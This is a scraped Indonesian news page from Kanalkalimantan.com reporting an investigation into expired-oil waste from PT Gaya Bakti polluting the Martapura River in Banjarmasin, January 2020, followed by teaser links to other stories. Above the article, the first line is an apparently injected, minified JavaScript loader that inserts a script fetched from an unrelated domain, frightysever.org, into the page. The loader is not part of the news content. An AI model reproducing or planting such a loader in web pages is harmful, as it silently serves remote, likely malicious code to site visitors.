(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dugaan pencemaran lingkungan yang menyebabkan Sungai Martapura terpapar limbah oli, kini tengah ditangani Dit Reskrimsus Polda Kalsel.
Kepala Dinas Lingkungan Hidup (DLH) Kota Banjarmasin Mukhyar melalui Kabid Pengawasan Lingkungan Wahyu Hardi Cahyono mengakui, pihaknya tidak mengetahui persis keberadaan tempat penimbunan oli kedaluarsa itu. Lantaran, perusahaan PT Gaya Bakti diduga tidak memiliki izin.
“Kami tidak tahu sekali karena tertutup. Kalau misalnya mereka punya izin, pasti kita akan lakukan pembinaan,†kata Wahyu usai pengambilan sampel limbah oli di Kelurahan Gadang, Banjarmasin, Kamis (9/1/2020) sore.
Baca: Kasus Pencemaran Oli PT Gaya Bakti, Dit Reskrimsus Naikkan Status ke Tahap Penyidikan!
Pihaknya menyayangkan limbah oli yang malah mengalir hingga ke bibir Sungai Martapura yang mengakibatkan terjadinya pencemaran lingkungan.
“Yang namanya B3 itu bahan berbahaya beracun, jika berproses jadi limbah. Tapi kalau dia B3 tapi kedaluarsa, bisa dikatakan limbah juga,†papar Wahyu.
Baca: Diduga Cemari Sungai, DLH Banjarmasin Sidak Tempat Penampungan Oli
Akibatnya, akan berdampak pada kualitas air sungai di Kota Banjarmasin yang secara tidak langsung terjadi penurunan kualitas. “Kalau dibiarkan terus menerus, tentunya berdampak macam-macam,†jelasnya.
Untuk mengetahui dampak pencemaran, DLH Banjarmasin akan bekerjasama dengan pihak ketiga yang memiliki izin untuk menganalisis dampak akibat pencemaran limbah oli ini.
Sebelumnya DLH Banjarmasin mendapati dugaan pencemaran lingkungan di
Sungai Martapura yang berdekatan dengan dermaga Siring Tendean Banjarmasin.
Dari pantauan Kanalkalimantan.com, sisa-sisa oli masih larut di bibir sungai.
Bahkan, sisa oli juga sempat menempel di lanting kayu dekat siring. Diduga, oli yang menempel ini terjadi saat air sungai tengah pasang.
“Laporan masuk hari Sabtu sore dari masyarakat, bahwa di siring ada rembesan oli masuk ke sungai. Itu ketahuannya saat pasang naik ke lanting, nah saat surut lanting jadi licin. Ternyata ada ceceran oli,†kata Kadis LH Kota Banjarmasin Mukhyar, Kamis (9/1/2020) siang. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.